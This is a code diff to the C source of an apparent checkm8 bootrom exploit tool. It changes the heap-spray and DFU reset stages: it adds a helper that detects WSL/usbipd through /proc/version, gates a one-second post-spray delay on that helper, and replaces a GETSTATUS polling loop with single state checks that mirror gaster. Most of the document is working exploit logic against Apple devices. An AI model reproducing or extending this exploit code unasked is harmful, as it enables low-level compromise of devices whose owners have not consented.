diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index 937c9f5..d9b5dea 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -4,6 +4,7 @@ * Gaster typically converges in a handful of iterations; 100 is generous. */ #define MAX_STALL_RETRIES 100 +#include #include #include #include @@ -179,6 +180,35 @@ int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx) /* Stage 3: Heap spray */ /* ------------------------------------------------------------------ */ +/* + * usbipd_present -- true when the device is reached through usbipd. + * + * WSL_DISTRO_NAME alone is not enough: sudo resets the environment by + * default, so the variable disappears exactly when the tool is run the + * way most of the reports run it. /proc/version keeps a marker that + * survives sudo. + */ +static int usbipd_present(void) +{ + FILE *f; + char buf[256]; + size_t n; + + if (getenv("WSL_DISTRO_NAME") != NULL) + return 1; + + f = fopen("/proc/version", "r"); + if (!f) + return 0; + + n = fread(buf, 1, sizeof(buf) - 1, f); + fclose(f); + buf[n] = '\0'; + + return strstr(buf, "microsoft") != NULL || + strstr(buf, "Microsoft") != NULL; +} + int checkm8_stage_spray(exploit_ctx_t *ctx) { libusb_device_handle *usb; @@ -287,26 +317,16 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) } /* - * On usbipd-win, GET_DESCRIPTOR spray requests are sent with - * very short timeouts (1ms). The device allocates response - * buffers that are only freed after its own internal USB timeout - * fires (~50-200ms per buffer). If stage 4 starts immediately, - * those buffers still occupy the heap and the DFU_DNLOAD - * io_buffer cannot land at insecure_memory_base. - * - * Wait 1 second to ensure all spray buffers are freed by the - * device before stage 4's DFU_DNLOAD allocation. - * - * This delay is only required on usbipd-win, which is the setup - * that motivated it: the vhci layer adds latency and the buffers - * are freed late. On a native host the reference implementation - * goes straight from the spray to the overwrite, and the idle - * second is a window in which the device can leave dfuIDLE on its - * own. When that happens the next control transfer returns - * NO_DEVICE (-4) and the sequence fails at stage 4. + * The delay is only required on usbipd-win, which is the setup that + * motivated it: the vhci layer adds latency and the buffers are + * freed late. On a native host the reference implementation goes + * straight from the spray to the overwrite, and the idle second is + * a window in which the device can leave dfuIDLE on its own. When + * that happens the next control transfer returns NO_DEVICE (-4) and + * the sequence fails at stage 4. */ - if (getenv("WSL_DISTRO_NAME") != NULL) - usleep(1000000); /* 1 s -- usbipd-win only */ + if (usbipd_present()) + usleep(1000000); /* 1 s -- usbipd only */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index a8b9e13..bf8968d 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -4,6 +4,7 @@ * Gaster typically succeeds within 5-10 attempts; 50 is generous. */ #define MAX_SETUP_RETRIES 50 +#include #include #include #include @@ -275,12 +276,37 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev, /* * Stage 1 helpers. * - * DFU state/request constants live in dfu_proto.h; the retry count and - * settle delay mirror the DFU_MAX_RETRIES / RESET_IDLE_RETRY_DELAY_USEC - * locals of dfu_proto.c, which are not exported. + * DFU request/state constants live in dfu_proto.h. */ -#define STAGE1_MANIFEST_RETRIES 10 -#define STAGE1_MANIFEST_DELAY_USEC 20000 + +/* + * usbipd_present -- true when the device is reached through usbipd. + * + * WSL_DISTRO_NAME alone is not enough: sudo resets the environment by + * default, so the variable disappears exactly when the tool is run the + * way most of the reports run it. /proc/version keeps a marker that + * survives sudo. + */ +static int usbipd_present(void) +{ + FILE *f; + char buf[256]; + size_t n; + + if (getenv("WSL_DISTRO_NAME") != NULL) + return 1; + + f = fopen("/proc/version", "r"); + if (!f) + return 0; + + n = fread(buf, 1, sizeof(buf) - 1, f); + fclose(f); + buf[n] = '\0'; + + return strstr(buf, "microsoft") != NULL || + strstr(buf, "Microsoft") != NULL; +} /* * stage1_dnload_exact -- DFU_DNLOAD with an exact-length check. @@ -320,24 +346,40 @@ static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len) } /* - * dfu_wait_state -- poll GETSTATUS until the device reports the given - * state with DFU_STATUS_OK, mirroring gaster's dfu_check_status. + * dfu_check_state -- one GETSTATUS, compared against the expected state. + * + * gaster issues exactly three GETSTATUS requests here, one per state of + * the manifest cycle. Polling for more is not harmless: each GETSTATUS + * advances the device's state machine, so a repeat request for a state + * that already passed reads the next one and the sequence desynchronises. + * + * The one tolerated failure is the usbipd case, consistent with + * dfu_reset_to_idle(): that transport can expose a device that answers + * everything except GETSTATUS, and failing the stage there would trade + * one transport bug for another. */ -static int dfu_wait_state(libusb_device_handle *usb, uint8_t state) +static int dfu_check_state(libusb_device_handle *usb, uint8_t state) { dfu_status_t st; - int attempt; - for (attempt = 0; attempt < STAGE1_MANIFEST_RETRIES; ++attempt) { - if (dfu_get_status(usb, &st) == 0 && - st.bStatus == DFU_STATUS_OK && st.bState == state) + if (dfu_get_status(usb, &st) != 0) { + if (usbipd_present()) { + log_warn("dfu_check_state: GETSTATUS failed on usbipd -- " + "assuming state 0x%02X was reached", state); return 0; - usleep(STAGE1_MANIFEST_DELAY_USEC); + } + log_error("dfu_check_state: GETSTATUS failed while waiting for " + "state 0x%02X", state); + return -1; } - log_error("dfu_wait_state: device never reached state 0x%02X " - "(last 0x%02X)", state, st.bState); - return -1; + if (st.bStatus != DFU_STATUS_OK || st.bState != state) { + log_error("dfu_check_state: expected state 0x%02X with status OK, " + "got 0x%02X/0x%02X", state, st.bState, st.bStatus); + return -1; + } + + return 0; } int checkm8_stage_reset(exploit_ctx_t *ctx) @@ -374,9 +416,9 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) if (stage1_dnload_exact(usb, 0) != 0) goto fail; - if (dfu_wait_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || - dfu_wait_state(usb, DFU_STATE_MANIFEST) != 0 || - dfu_wait_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0) + if (dfu_check_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || + dfu_check_state(usb, DFU_STATE_MANIFEST) != 0 || + dfu_check_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0) goto fail; if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0)